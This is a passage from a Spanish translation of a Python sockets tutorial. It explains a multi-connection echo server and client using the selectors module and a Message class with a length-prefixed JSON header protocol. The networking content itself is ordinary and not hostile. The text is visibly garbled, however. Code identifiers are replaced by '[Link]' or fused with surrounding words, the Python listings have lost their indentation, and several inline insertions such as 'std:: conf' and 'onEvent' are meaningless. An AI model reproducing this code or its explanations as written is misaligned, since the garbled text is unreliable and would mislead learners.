obligado a usar asynciohilos ni la última biblioteca asíncrona. Normalmente, en una
aplicación de red, la aplicación está limitada por la E/S: podría estar esperando en la red
local, a que lleguen los puntos de conexión al otro lado de la red, a que se realicen
escrituras en disco, etc.
Si recibes solicitudes de clientes que inician tareas que consumen muchos recursos de CPU,
consulta el módulo [Link] . Contiene la clase ProcessPoolExecutor , que utiliza
un grupo de procesos para ejecutar llamadas de forma asíncrona.
Si utilizas múltiples procesos, el sistema operativo puede programar tu código Python para
que se ejecute en paralelo en varios procesadores o núcleos, sin necesidad del GIL. Para
obtener ideas e inspiración, consulta la charla de John Reese en PyCon: «Pensando más allá
del GIL con AsyncIO y multiprocesamiento» (PyCon 2018) .
En la siguiente sección, verá ejemplos de un servidor y un cliente que solucionan estos
problemas. Estos se utilizan .select()para gestionar múltiples conexiones
simultáneamente y realizar llamadas .send()tantas .recv()veces como sea necesario.
Cliente y servidor de múltiples conexiones
En las próximas dos secciones, creará un servidor y un cliente que gestionen múltiples
conexiones utilizando un selectorobjeto creado a partir del módulo de selectores .
Servidor de múltiples conexiones
Primero, centre su atención en el servidor de múltiples conexiones. La primera parte
configura el socket de escucha:
[Link]
import sys
import socket
import selectors
import types
sel = [Link]()
# ...
host, port = [Link][1], int([Link][2])
lsock = [Link](socket.AF_INET, socket.SOCK_STREAM)
[Link]((host, port))
[Link]()
print(f"Listening on {(host, port)}")
[Link](False)
[Link](lsock, selectors.EVENT_READ, data=None)
La principal diferencia entre este servidor y el servidor de eco radica en la llamada
para [Link](False)configurar el socket en modo no bloqueante. Las
llamadas a este socket ya no se bloquearán . Al usarlo con [Link](), como verá a
continuación, puede esperar eventos en uno o más sockets y luego leer y escribir datos
cuando estén listos.
[Link]()Registra el socket que se va a monitorizar [Link]()para los
eventos que te interesan. Para el socket de escucha, quieres leer los
eventos: selectors.EVENT_READ.
Para almacenar cualquier dato que desees junto con el socket, usarás ` data. Este dato se
devuelve cuando .select()`return` finaliza. Usarás ` datapara llevar un registro de lo
que se ha enviado y recibido en el socket.
A continuación, el bucle de eventos:
[Link]
# ...
try:
while True:
events = [Link](timeout=None)
for key, mask in events:
if [Link] is None:
accept_wrapper([Link])
else:
service_connection(key, mask)
except KeyboardInterrupt:
print("Caught keyboard interrupt, exiting")
finally:
[Link]()
[Link](timeout=None) Se bloqueakey hasta que haya sockets listos para E/
S . Devuelve una lista de tuplas, una por cada socket. Cada tupla contiene un objeto
`SelectorKey` y una máscara de eventos. maskEl objeto `SelectorKey` keyes una clave
de selector que contiene un atributo. ` SelectorKey` es el objeto socket y `SelectorKey` es
una máscara de eventos de las operaciones que están
[Link]
Si [Link] así None, sabrás que proviene del socket de escucha y deberás aceptar
la conexión. Llamarás a tu propia accept_wrapper()función para obtener el nuevo
objeto socket y registrarlo con el selector. Lo veremos en breve.
Si [Link] es None, entonces sabes que es un socket de cliente que ya ha sido
aceptado y necesitas atenderlo. service_connection()Se llama entonces a
con keyy maskcomo argumentos, y eso es todo lo que necesitas para operar en el
socket.
Esto es lo que accept_wrapper()hace tu función:
[Link]
# ...
def accept_wrapper(sock):
conn, addr = [Link]() # Should be ready to read
print(f"Accepted connection from {addr}")
[Link](False)
data = [Link](addr=addr, inb=b"", outb=b"")
events = selectors.EVENT_READ | selectors.EVENT_WRITE
[Link](conn, events, data=data)
# ...
Dado que el socket de escucha se registró para el evento selectors.EVENT_READ,
debería estar listo para leer. Llamas a `setStream()` [Link]()y luego a
`setStream [Link](False)()` para poner el socket en modo no
bloqueante .
Recuerda, este es el objetivo principal de esta versión del servidor, ya que no quieres que
se bloquee . Si se bloquea, todo el servidor se detiene hasta que se restablezca. Esto
significa que otros sockets quedan en espera aunque el servidor no esté funcionando
activamente. Este es el temido estado de "colgado" en el que no quieres que se encuentre tu
servidor.
A continuación, se crea un objeto para almacenar los datos que se desean incluir junto con
el socket SimpleNamespace. Dado que se desea saber cuándo la conexión del
cliente está lista para leer y escribir, ambos eventos se configuran con el operador OR bit a
bit :
[Link]
# ...
def accept_wrapper(sock):
conn, addr = [Link]() # Should be ready to read
print(f"Accepted connection from {addr}")
[Link](False)
data = [Link](addr=addr, inb=b"", outb=b"")
events = selectors.EVENT_READ | selectors.EVENT_WRITE
[Link](conn, events, data=data)
# ...
La eventsmáscara, el socket y los objetos de datos se pasan luego a [Link]().
Ahora veamos service_connection()cómo se gestiona una conexión de cliente
cuando está lista:
[Link]
# ...
def service_connection(key, mask):
sock = [Link]
data = [Link]
if mask & selectors.EVENT_READ:
recv_data = [Link](1024) # Should be ready to read
if recv_data:
[Link] += recv_data
else:
print(f"Closing connection to {[Link]}")
[Link](sock)
[Link]()
if mask & selectors.EVENT_WRITE:
if [Link]:
print(f"Echoing {[Link]!r} to {[Link]}")
sent = [Link]([Link]) # Should be ready to write
[Link] = [Link][sent:]
# ...
Este es el núcleo del servidor simple de múltiples conexiones. keyes
el namedtuplevalor devuelto .select()que contiene el objeto socket ( fileobj) y el
objeto de datos. maskcontiene los eventos que están listos.
Si el socket está
listo para lectura, la operación mask &
selectors.EVENT_READse evaluará como verdadera True, por lo
que [Link]()se llama a la función. Cualquier dato leído se añade al
array [Link] poder enviarlo posteriormente.
Observe el else:bloque para comprobar si no se reciben datos:
[Link]
# ...
def service_connection(key, mask):
sock = [Link]
data = [Link]
if mask & selectors.EVENT_READ:
recv_data = [Link](1024) # Should be ready to read
if recv_data:
[Link] += recv_data
else:
print(f"Closing connection to {[Link]}")
[Link](sock)
[Link]()
if mask & selectors.EVENT_WRITE:
if [Link]:
print(f"Echoing {[Link]!r} to {[Link]}")
sent = [Link]([Link]) # Should be ready to write
[Link] = [Link][sent:]
# ...
Si no se reciben datos, significa que el cliente ha cerrado su socket, por lo que el servidor
también debería hacerlo. Pero no olvides llamar a `close()` [Link]()antes de
cerrarlo, para que deje de ser monitorizado por ` .select().
Cuando el socket está listo para escritura, lo cual siempre debería ser el caso para un socket
en buen estado, cualquier dato recibido almacenado [Link] reenvía al cliente
mediante [Link](). Los bytes enviados se eliminan entonces del búfer de envío:
[Link]
# ...
def service_connection(key, mask):
# ...
if mask & selectors.EVENT_WRITE:
if [Link]:
print(f"Echoing {[Link]!r} to {[Link]}")
sent = [Link]([Link]) # Should be ready to write
[Link] = [Link][sent:]
# ...
El .send()método devuelve el número de bytes enviados. Este número se puede utilizar
posteriormente con la notación de segmentación en el .outbbúfer para descartar los bytes
enviados.
Cliente de múltiples conexiones
Ahora eche un vistazo al cliente de múltiples conexiones. [Link]
muy similar al servidor, pero en lugar de escuchar conexiones, comienza iniciando
conexiones a través de start_connections():
[Link]
import sys
import socket
import selectors
import types
sel = [Link]()
messages = [b"Message 1 from client.", b"Message 2 from client."]
def start_connections(host, port, num_conns):
server_addr = (host, port)
for i in range(0, num_conns):
connid = i + 1
print(f"Starting connection {connid} to {server_addr}")
sock = [Link](socket.AF_INET, socket.SOCK_STREAM)
[Link](False)
sock.connect_ex(server_addr)
events = selectors.EVENT_READ | selectors.EVENT_WRITE
data = [Link](
connid=connid,
msg_total=sum(len(m) for m in messages),
recv_total=0,
messages=[Link](),
outb=b"",
)
[Link](sock, events, data=data)
# ...
num_connsSe lee desde la línea de comandos y representa el número de conexiones
que se crearán con el servidor. Al igual que el servidor, cada socket se configura en modo
no bloqueante.
Se utiliza `std:: conf` .connect_ex()en lugar de `std :: .connect()conf`
porque .connect()`std::conf` generaría una BlockingIOErrorexcepción
inmediatamente. El .connect_ex()método devuelve inicialmente un indicador de error
, `std::conf` [Link], en lugar de generar una excepción que
interferiría con la conexión en curso. Una vez establecida la conexión, el socket está listo
para lectura y escritura y se devuelve mediante `std::conf` .select().
Una vez configurado el socket, se crean los datos que se desean almacenar con
él SimpleNamespace. Los mensajes que el cliente enviará al servidor se copian
mediante la misma función, [Link]()ya que cada conexión
llamará [Link]()a la lista y la modificará. En el objeto se almacena todo lo
necesario para llevar un registro de lo que el cliente necesita enviar, ha enviado y ha
recibido, incluido el número total de bytes de los mensajes data.
Consulta los cambios realizados desde la versión del
servidor service_connection()a la versión del cliente:
def service_connection(key, mask):
sock = [Link]
data = [Link]
if mask & selectors.EVENT_READ:
recv_data = [Link](1024) # Should be ready to read
if recv_data:
- [Link] += recv_data
+ print(f"Received {recv_data!r} from connection {[Link]}")
+ data.recv_total += len(recv_data)
- else:
- print(f"Closing connection {[Link]}")
+ if not recv_data or data.recv_total == data.msg_total:
+ print(f"Closing connection {[Link]}")
[Link](sock)
[Link]()
if mask & selectors.EVENT_WRITE:
+ if not [Link] and [Link]:
+ [Link] = [Link](0)
if [Link]:
- print(f"Echoing {[Link]!r} to {[Link]}")
+ print(f"Sending {[Link]!r} to connection {[Link]}")
sent = [Link]([Link]) # Should be ready to write
[Link] = [Link][sent:]
Es básicamente lo mismo, salvo por una diferencia importante. El cliente registra la
cantidad de bytes que ha recibido del servidor para poder cerrar su conexión. Cuando el
servidor lo detecta, también cierra su conexión.
De esta forma, el servidor depende de que el cliente se comporte correctamente: espera que
el cliente cierre su conexión una vez que haya terminado de enviar mensajes. Si el cliente
no la cierra, el servidor la mantendrá abierta. En una aplicación real, conviene protegerse
contra esto en el servidor implementando un tiempo de espera para evitar que se acumulen
conexiones de cliente si no envían una solicitud después de un tiempo determinado.
Ejecutando el cliente y servidor de múltiples conexiones
Ahora es el momento de ejecutar `comando 1` [Link]
`comando multiconn-client.py2`. Ambos utilizan argumentos de línea de
comandos . Puedes ejecutarlos sin argumentos para ver las opciones.
Para el servidor, contraseña hosty portnúmeros:
$ python [Link]
Usage: [Link] <host> <port>
Para el cliente, también hay que pasar el número de conexiones que se crearán al
servidor num_connections:
$ python [Link]
Usage: [Link] <host> <port> <num_connections>
A continuación se muestra la salida del servidor al escuchar en la interfaz de bucle
invertido en el puerto 65432:
$ python [Link] [Link] 65432
Listening on ('[Link]', 65432)
Accepted connection from ('[Link]', 61354)
Accepted connection from ('[Link]', 61355)
Echoing b'Message 1 from [Link] 2 from client.' to ('[Link]', 61354)
Echoing b'Message 1 from [Link] 2 from client.' to ('[Link]', 61355)
Closing connection to ('[Link]', 61354)
Closing connection to ('[Link]', 61355)
A continuación se muestra la salida del cliente cuando crea dos conexiones con el servidor
mencionado anteriormente:
$ python [Link] [Link] 65432 2
Starting connection 1 to ('[Link]', 65432)
Starting connection 2 to ('[Link]', 65432)
Sending b'Message 1 from client.' to connection 1
Sending b'Message 2 from client.' to connection 1
Sending b'Message 1 from client.' to connection 2
Sending b'Message 2 from client.' to connection 2
Received b'Message 1 from [Link] 2 from client.' from connection 1
Closing connection 1
Received b'Message 1 from [Link] 2 from client.' from connection 2
Closing connection 2
¡Genial! Ya has configurado el cliente y el servidor con múltiples conexiones. En la
siguiente sección, profundizaremos aún más en este ejemplo.
Cliente y servidor de la aplicación
El ejemplo de cliente y servidor con múltiples conexiones representa sin duda una mejora
con respecto al punto de partida. Sin embargo, ahora puedes dar un paso más y abordar las
deficiencias del multiconnejemplo anterior en una implementación final: el cliente y el
servidor de la aplicación.
Necesitas un cliente y un servidor que gestionen los errores adecuadamente para que otras
conexiones no se vean afectadas. Obviamente, tu cliente o servidor no debería colapsar si
no se captura una excepción. Esto es algo que no te ha preocupado hasta ahora, ya que los
ejemplos han omitido intencionadamente la gestión de errores para mayor brevedad y
claridad.
Ahora que ya conoces la API básica, los sockets no bloqueantes y demás .select(),
puedes añadir manejo de errores y abordar el problema principal que los ejemplos han
mantenido oculto. ¿Recuerdas la clase personalizada que mencionamos al principio? Eso es
lo que exploraremos a continuación.
Primero, corregirás los errores:
Todos los errores generan excepciones. Se pueden generar las excepciones normales para
tipos de argumentos no válidos y condiciones de falta de memoria; a partir de Python 3.3,
los errores relacionados con la semántica de sockets o direcciones generan una excepción
de tipo `Exception` OSErroro una de sus subclases. (Fuente)
Por lo tanto, una cosa que debes hacer es capturar OSErrorlos errores. Otra
consideración importante en relación con los errores son los tiempos de espera . Los
encontrarás tratados en muchos lugares de la documentación. Los tiempos de espera
ocurren y se consideran un error normal. Los hosts y routers se reinician, los puertos de los
switches fallan, los cables se dañan, se desconectan, etc. Debes estar preparado para estos y
otros errores, y gestionarlos en tu código.
¿Y qué hay del problema principal? Como sugiere el tipo de
socket socket.SOCK_STREAM, al usar TCP, se lee un flujo continuo de bytes. Es
como leer un archivo en el disco, pero en este caso se leen bytes de la red. Sin embargo, a
diferencia de leer un archivo, no hay un punto de acceso [Link]().
En otras palabras, no se puede reposicionar el puntero del socket, si es que existe, ni mover
los datos.
Cuando los bytes llegan a tu socket, intervienen búferes de red. Una vez leídos, deben
guardarse en algún lugar, de lo contrario se perderán. Al .recv()volver a llamar a la
función, se lee el siguiente flujo de bytes disponible en el socket.
Leerás los datos del socket en fragmentos. Por lo tanto, debes llamar a un
método .recv()y guardar los datos en un búfer hasta que hayas leído suficientes bytes
para tener un mensaje completo que tenga sentido para tu aplicación.
Es tu responsabilidad definir y controlar los límites de los mensajes. Para el socket TCP,
simplemente envía y recibe bytes sin procesar a través de la red. Desconoce por completo el
significado de esos bytes.
Por eso es necesario definir un protocolo de capa de aplicación . ¿Qué es un protocolo de
capa de aplicación? En pocas palabras, tu aplicación enviará y recibirá mensajes. El
formato de estos mensajes constituye el protocolo de tu aplicación.
En otras palabras, la longitud y el formato que elijas para estos mensajes definen la
semántica y el comportamiento de tu aplicación. Esto está directamente relacionado con lo
que aprendiste en el párrafo anterior sobre la lectura de bytes del socket. Al leer
bytes .recv(), debes llevar un registro de cuántos bytes se han leído y determinar dónde
se encuentran los límites de los mensajes .
¿Cómo se puede hacer esto? Una forma es enviar siempre mensajes de longitud fija. Si
siempre tienen el mismo tamaño, es sencillo. Cuando hayas leído esa cantidad de bytes en
un búfer, sabrás que tienes un mensaje completo.
Sin embargo, usar mensajes de longitud fija resulta ineficiente para mensajes pequeños,
donde sería necesario usar relleno para completarlos. Además, persiste el problema de qué
hacer con los datos que no caben en un solo mensaje.
En este tutorial, aprenderá un método genérico, utilizado por muchos protocolos, incluido
HTTP. Añadirá un encabezado a los mensajes que incluirá la longitud del contenido y
cualquier otro campo necesario. De esta forma, solo tendrá que gestionar el encabezado.
Una vez leído, podrá procesarlo para determinar la longitud del contenido del mensaje. Con
esta longitud, podrá leer esa cantidad de bytes para consumirlo.
Implementarás esto creando una clase personalizada que pueda enviar y recibir mensajes
que contengan texto o datos binarios. Puedes mejorar y extender esta clase para tus propias
aplicaciones. Lo más importante es que podrás ver un ejemplo de cómo se hace.
Antes de empezar, hay algo que debes saber sobre sockets y bytes. Como ya aprendiste, al
enviar y recibir datos a través de sockets, estás enviando y recibiendo bytes sin procesar .
Si recibe datos y desea utilizarlos en un contexto donde se interpretan como múltiples
bytes, por ejemplo, un entero de 4 bytes, deberá tener en cuenta que podrían estar en un
formato no nativo de la CPU de su máquina. El cliente o el servidor del otro extremo
podrían tener una CPU que utilice un orden de bytes diferente al suyo. En tal caso, deberá
convertirlos al orden de bytes nativo de su sistema antes de utilizarlos.
Este orden de bytes se conoce como endianness de la CPU . Consulte la sección Endianness
de bytes en la sección de referencia para obtener más detalles. Evitará este problema si
utiliza Unicode para el encabezado del mensaje y la codificación UTF-8. Dado que UTF-8
utiliza una codificación de 8 bits, no hay problemas de orden de bytes.
Encontrará una explicación en la documentación de Python sobre codificaciones y
Unicode . Tenga en cuenta que esto solo se aplica a la cabecera de texto. Para el contenido
que se envía (la carga útil del mensaje), deberá definir explícitamente el tipo y la
codificación en la cabecera. Esto le permitirá transferir cualquier dato (texto o binario) en
cualquier formato.
Puedes determinar fácilmente el orden de bytes de tu máquina usando [Link].
Por ejemplo, podrías ver algo como esto:
$ python -c 'import sys; print(repr([Link]))'
'little'
Si ejecutas esto en una máquina virtual que emula una CPU big-endian (PowerPC), sucede
algo como esto:
$ python -c 'import sys; print(repr([Link]))'
'big'
En esta aplicación de ejemplo, el protocolo de la capa de aplicación define la cabecera
como texto Unicode con codificación UTF-8. Para el contenido real del mensaje (la carga
útil), deberá invertir manualmente el orden de los bytes si fuera necesario.
Esto dependerá de tu aplicación y de si necesita o no procesar datos binarios multibyte
procedentes de una máquina con un orden de bytes diferente. Puedes ayudar a tu cliente o
servidor a implementar la compatibilidad con datos binarios añadiendo encabezados
adicionales y utilizándolos para pasar parámetros, de forma similar a HTTP.
No te preocupes si esto aún no tiene sentido. En la siguiente sección, verás cómo funciona
todo esto y cómo encaja en conjunto.
Encabezado del protocolo de aplicación
Ahora definirás completamente la cabecera del protocolo. La cabecera del protocolo es:
Texto de longitud variable
Unicode con codificación UTF-8
Un diccionario de Python serializado mediante JSON
Los encabezados o subencabezados requeridos en el diccionario de encabezados del
protocolo son los siguientes:
Nombre Descripción
byteorder El orden de bytes de la máquina (utiliza [Link]).
Esto puede no ser necesario para su aplicación.
content- Longitud del contenido en bytes.
length
content-type El tipo de contenido en la carga útil, por
ejemplo, text/jsono binary/my-binary-type.
content- La codificación utilizada por el contenido, por ejemplo, utf-
encoding 8para texto Unicode o binarypara datos binarios.
Estas cabeceras informan al receptor sobre el contenido del mensaje. Esto permite enviar
datos arbitrarios, proporcionando la información suficiente para que el receptor pueda
decodificar e interpretar correctamente el contenido. Dado que las cabeceras se encuentran
en un diccionario, es fácil añadir cabeceras adicionales insertando pares clave-valor según
sea necesario.
Envío de un mensaje de aplicación
Todavía hay un pequeño problema. Tienes una cabecera de longitud variable, lo cual es
práctico y flexible, pero ¿cómo sabes la longitud de la cabecera al leerla con .recv()?
Cuando aprendiste sobre el uso .recv()de límites de mensajes, también aprendiste que las
cabeceras de longitud fija pueden ser ineficientes. Es cierto, pero usarás una cabecera
pequeña de 2 bytes y longitud fija como prefijo de la cabecera JSON que contiene su
longitud.
Esto se puede considerar un enfoque híbrido para el envío de mensajes. En efecto, se inicia
el proceso de recepción enviando primero la longitud de la cabecera. Esto facilita que el
receptor pueda analizar el mensaje.
Para que te hagas una mejor idea del formato del mensaje, consulta un mensaje completo:
Un mensaje comienza con una cabecera de longitud fija de dos bytes, que es un entero en
orden de bytes de red. Esta es la longitud de la siguiente cabecera, la cabecera JSON de
longitud variable. Una vez que haya leído dos bytes .recv(), sabrá que puede procesarlos
como un entero y luego leer esa cantidad de bytes antes de decodificar la cabecera JSON
UTF-8.
La cabecera JSON contiene un diccionario de cabeceras adicionales. Una de ellas es
`bytes` content-length, que indica el número de bytes del contenido del mensaje (sin
incluir la cabecera JSON). Una vez que se han leído ` .recv()bytes` content-
length, se ha alcanzado el límite del mensaje, lo que significa que se ha leído un mensaje
completo.
Clase de mensaje de aplicación
¡Finalmente, la recompensa! En esta sección, estudiarás la Messageclase y verás cómo
se utiliza .select()cuando se producen eventos de lectura y escritura en el socket.
Esta aplicación de ejemplo refleja los tipos de mensajes que un cliente y un servidor
podrían usar razonablemente. ¡En este punto, ya estás muy por encima de los simples
clientes y servidores de eco!
Para simplificar y, al mismo tiempo, demostrar cómo funcionaría en una aplicación real,
este ejemplo utiliza un protocolo de aplicación que implementa una función de búsqueda
básica. El cliente envía una solicitud de búsqueda y el servidor busca una coincidencia. Si
la solicitud enviada por el cliente no se reconoce como una búsqueda, el servidor la
interpreta como una solicitud binaria y devuelve una respuesta binaria.
Tras leer las siguientes secciones, ejecutar los ejemplos y experimentar con el código,
comprenderá su funcionamiento. A continuación, podrá usar la Messageclase como
punto de partida y modificarla para sus propias necesidades.
La aplicación no se aleja mucho del multiconnejemplo de cliente y servidor. El código
del bucle de eventos permanece igual en [Link] [Link]. Lo
que harás es trasladar el código de mensajes a una clase llamada Messagey agregar
métodos para leer, escribir y procesar los encabezados y el contenido. Este es un excelente
ejemplo del uso de una clase .
Como ya aprendiste y verás a continuación, trabajar con sockets implica mantener el
estado. Al usar una clase, se mantiene todo el estado, los datos y el código agrupados en
una unidad organizada. Se crea una instancia de la clase para cada socket en el cliente y el
servidor cuando se inicia o se acepta una conexión.
La clase es prácticamente idéntica tanto para el cliente como para el servidor en lo que
respecta a los métodos de envoltorio y utilidad. Comienzan con un guion bajo, como
` Message._json_encode(). Estos métodos simplifican el trabajo con la clase.
Ayudan a otros métodos a ser más concisos y a respetar el principio DRY ( No te repitas ).
La clase del servidor Messagefunciona de forma prácticamente idéntica a la del cliente,
y viceversa. La diferencia radica en que el cliente inicia la conexión y envía una solicitud,
tras lo cual procesa la respuesta del servidor. En cambio, el servidor espera una conexión,
procesa la solicitud del cliente y, a continuación, envía una respuesta.
Tiene este aspecto:
Paso Punto final Acción / Contenido del mensaje
1 Cliente Envía un Messagecontenido de solicitud que lo contiene.
2 Servidor Recibe y procesa las solicitudes de los clientesMessage
3 Servidor Envía un Messagecontenido de respuesta que contiene
Paso Punto final Acción / Contenido del mensaje
4 Cliente Recibe y procesa la respuesta del servidorMessage
Aquí está la estructura del archivo y del código:
Solicitud Archivo Código
Servidor [Link] El script principal del servidor
Servidor [Link] MessageLa clase del servidor
Cliente [Link] El script principal del cliente
Cliente [Link] MessageLa clase del cliente
Con esto, debería tener una visión general de alto nivel de los componentes individuales y
sus funciones dentro de la aplicación.
Punto de entrada de mensajes
Comprender cómo Messagefunciona la clase puede resultar complicado, ya que hay un
aspecto de su diseño que puede no ser evidente a primera vista. ¿Por qué? La gestión del
estado.
Una vez creado un Messageobjeto, se le asocia un socket que se monitoriza para
detectar eventos mediante [Link]():
[Link]
# ...
def accept_wrapper(sock):
conn, addr = [Link]() # Should be ready to read
print(f"Accepted connection from {addr}")
[Link](False)
message = [Link](sel, conn, addr)
[Link](conn, selectors.EVENT_READ, data=message)
# ...
La idea principal es que cada Messageobjeto se crea al aceptarse una nueva conexión.
Se asocia a un socket y se registra con un selector para monitorizar los eventos entrantes.
Esta configuración permite al servidor gestionar múltiples conexiones simultáneamente,
garantizando que los mensajes se puedan leer en cuanto estén disponibles.
Nota: Algunos de los ejemplos de código de esta sección pertenecen al script
y Messagela clase principales del servidor, pero esta sección y su explicación también
se aplican al cliente. Se le notificará si la versión del cliente difiere.
Cuando los eventos están listos en el socket, se devuelven [Link](). Luego
puedes obtener una referencia al objeto de mensaje usando el dataatributo del keyobjeto
y llamar a un método en Message:
[Link]
# ...
try:
while True:
events = [Link](timeout=None)
for key, mask in events:
if [Link] is None:
accept_wrapper([Link])
else:
message = [Link]
try:
message.process_events(mask)
# ...
# ...
Si observas el bucle de eventos anterior, verás que ` [Link]()onEvent` tiene el
control. Se bloquea, esperando eventos al inicio del bucle. Es responsable de activarse
cuando los eventos de lectura y escritura están listos para procesarse en el socket. Esto
significa, indirectamente, que también es responsable de llamar al método
`onEvent` .process_events(). Por eso `onEvent` .process_events()es el
punto de entrada.
Así es como .process_events()funciona el método:
[Link]
# ...
class Message:
def __init__(self, selector, sock, addr):
# ...
# ...
def process_events(self, mask):
if mask & selectors.EVENT_READ:
[Link]()
if mask & selectors.EVENT_WRITE:
[Link]()
# ...
Eso es bueno: .process_events()es simple. Solo puede hacer dos cosas:
llamar .read()y .write().
Aquí es donde entra en juego la gestión del estado. Si otro método dependiera de que las
variables de estado tuvieran un valor determinado, solo se llamarían desde `on` .read()y
`off` .write(). Esto simplifica al máximo la lógica a medida que llegan los eventos al
socket para su procesamiento.
Podrías sentirte tentado a usar una combinación de métodos que verifiquen las variables de
estado actuales y, según su valor, llamen a otros métodos para procesar datos
externos .read(). .write()Al final, esto probablemente resultaría demasiado complejo
de administrar y mantener.
Sin duda, deberías modificar la clase para adaptarla a tus necesidades y que funcione de la
mejor manera. Sin embargo, probablemente obtendrás mejores resultados si, en la medida
de lo posible, mantienes las comprobaciones de estado y las llamadas a métodos que
dependen de ese estado en los métodos `onState` .read()y .write()`onState`.
Ahora observemos .read(). Esta es la versión del servidor, pero la del cliente es la
misma. Simplemente utiliza un nombre de método
diferente, .process_response()en lugar de .process_request():
[Link]
# ...
class Message:
# ...
def read(self):
self._read()
if self._jsonheader_len is None:
self.process_protoheader()
if self._jsonheader_len is not None:
if [Link] is None:
self.process_jsonheader()
if [Link]:
if [Link] is None:
self.process_request()
# ...
El ._read()método se llama primero. Llama [Link]()para leer datos del socket
y almacenarlos en un búfer de recepción.
Recuerda que, al [Link]()llamar a la función, es posible que no hayan llegado
aún todos los datos que componen un mensaje completo. [Link]()Puede que sea
necesario volver a llamarla. Por eso se realizan comprobaciones de estado para cada parte
del mensaje antes de llamar al método adecuado para procesarlo.
Antes de que un método procese su parte del mensaje, primero verifica que se hayan leído
suficientes bytes en el búfer de recepción. Si es así, procesa sus bytes correspondientes, los
elimina del búfer y escribe su salida en una variable que se utiliza en la siguiente etapa de
procesamiento. Dado que un mensaje tiene tres componentes, hay tres comprobaciones de
estado y tres processllamadas a métodos:
Componente de Método Producción
mensaje
Encabezado de longitud process_protoheader() self._jsonheader_len
fija
Encabezado JSON process_jsonheader() [Link]
Contenido process_request() [Link]
A continuación, consulta .write()la versión del servidor:
[Link]
# ...
class Message:
# ...
def write(self):
if [Link]:
if not self.response_created:
self.create_response()
self._write()
# ...
El .write()método primero verifica si existe un objeto request. Si existe y aún no se
ha generado una respuesta, .create_response()se llama a la función
correspondiente. El .create_response()método establece la variable de
estado response_createdy escribe la respuesta en el búfer de envío.
El ._write()método se ejecuta [Link]()si hay datos en el búfer de envío.
Recuerda que, al [Link]()llamar a la función, es posible que no todos los datos
del búfer de envío se hayan encolado para su transmisión. Los búferes de red del socket
podrían estar llenos y [Link]()requerir una nueva llamada. Por eso existen
comprobaciones de estado. El .create_response()método solo debería llamarse una
vez, pero se prevé que ._write()sea necesario llamarlo varias veces.
La versión del cliente .write()es similar:
[Link]
# ...
class Message:
def __init__(self, selector, sock, addr, request):
# ...
def write(self):
if not self._request_queued:
self.queue_request()
self._write()
if self._request_queued:
if not self._send_buffer:
# Set selector to listen for read events, we're done writing.
self._set_selector_events_mask("r")
# ...
Dado que el cliente inicia una conexión con el servidor y envía primero una
solicitud, _request_queuedse verifica la variable de estado. Si no hay ninguna
solicitud en cola, se llama a la función
correspondiente .queue_request(). queue_request()Esta crea la solicitud y la
escribe en el búfer de envío. Además, modifica la variable de
estado _request_queuedpara que solo se llame una vez.
Al igual que en el servidor, ._write()se realizan llamadas [Link]()si hay
datos en el búfer de envío. La diferencia notable en la versión del cliente .write()radica
en la última comprobación para ver si la solicitud se ha puesto en cola.
Esto se explicará con más detalle en la sección « Script principal del cliente» , pero el
motivo es indicar [Link]()que se deje de monitorizar el socket en busca de
eventos de escritura. Si la solicitud se ha puesto en cola y el búfer de envío está vacío,
significa que ya no se están realizando escrituras y solo interesan los eventos de lectura. No
hay razón para recibir una notificación de que el socket está disponible para escritura.
Para concluir esta sección, considere lo siguiente: el propósito principal de esta sección era
explicar que [Link]()se llama a la Messageclase a través del
método .process_events()y describir cómo se administra el estado.
Esto es importante porque .process_events()se invocará muchas veces durante la
vida útil de la conexión. Por lo tanto, asegúrese de que cualquier método que deba
invocarse solo una vez compruebe una variable de estado, o que la variable de estado
establecida por el método sea comprobada por quien lo invoca.
Script principal del servidor
En el script principal del servidor [Link], se leen desde la línea de comandos
los argumentos que especifican la interfaz y el puerto en el que escuchar:
$ python [Link]
Usage: [Link] <host> <port>
Por ejemplo, para escuchar en la interfaz de bucle invertido en el puerto 65432,
introduzca:
$ python [Link] [Link] 65432
Listening on ('[Link]', 65432)
Utilice una cadena vacía para <host>escuchar en todas las interfaces.
Tras crear el socket, se realiza una llamada [Link]()con la
opción socket.SO_REUSEADDR:
[Link]
# ...
host, port = [Link][1], int([Link][2])
lsock = [Link](socket.AF_INET, socket.SOCK_STREAM)
# Avoid bind() exception: OSError: [Errno 48] Address already in use
[Link](socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
[Link]((host, port))
[Link]()
print(f"Listening on {(host, port)}")
[Link](False)
[Link](lsock, selectors.EVENT_READ, data=None)
# ...
Configurar esta opción de socket evita el error Address already in use. Lo verá al
iniciar el servidor en un puerto que tiene conexiones en estado TIME_WAIT .
Por ejemplo, si el servidor cierra una conexión, permanecerá en ese TIME_WAITestado
durante dos minutos o más, según el sistema operativo. Si intenta reiniciar el servidor antes
de que TIME_WAITexpire dicho estado, recibirá una OSErrorexcepción Address
already in use. Esta es una medida de seguridad para garantizar que los paquetes
retrasados en la red no se entreguen a la aplicación incorrecta.
El bucle de eventos detecta cualquier error para que el servidor pueda permanecer activo y
seguir funcionando:
[Link]
# ...
try:
while True:
events = [Link](timeout=None)
for key, mask in events:
if [Link] is None:
accept_wrapper([Link])
else:
message = [Link]
try:
message.process_events(mask)
except Exception:
print(
f"Main: Error: Exception for {[Link]}:\n"
f"{traceback.format_exc()}"
)
[Link]()
except KeyboardInterrupt:
print("Caught keyboard interrupt, exiting")
finally:
[Link]()
Cuando se acepta una conexión de cliente, Messagese crea un objeto:
[Link]
# ...
def accept_wrapper(sock):
conn, addr = [Link]() # Should be ready to read
print(f"Accepted connection from {addr}")
[Link](False)
message = [Link](sel, conn, addr)
[Link](conn, selectors.EVENT_READ, data=message)
# ...
El Messageobjeto está asociado al socket en la llamada [Link]()y,
inicialmente, se configura para que solo se monitoricen los eventos de lectura. Una vez
leída la solicitud, se modifica para que solo escuche los eventos de escritura.
Una ventaja de adoptar este enfoque en el servidor es que, en la mayoría de los casos,
cuando un socket está en buen estado y no hay problemas de red, siempre será escribible.
Si se le indicara [Link]()que también se monitorizara
el EVENT_WRITEsocket, el bucle de eventos se activaría de inmediato y le notificaría
que esto ocurre. Sin embargo, en este punto, no hay motivo para activar .send()el socket
y realizar ninguna llamada. No hay respuesta que enviar, ya que aún no se ha procesado
ninguna solicitud. Esto consumiría y desperdiciaría valiosos ciclos de CPU.
Clase de mensaje del servidor
En la sección Punto de entrada del mensajeMessage , aprendió cómo se activaba el
objeto cuando los eventos del socket estaban listos .process_events(). Ahora
aprenderá qué sucede cuando se leen los datos en el socket y un componente, o parte, del
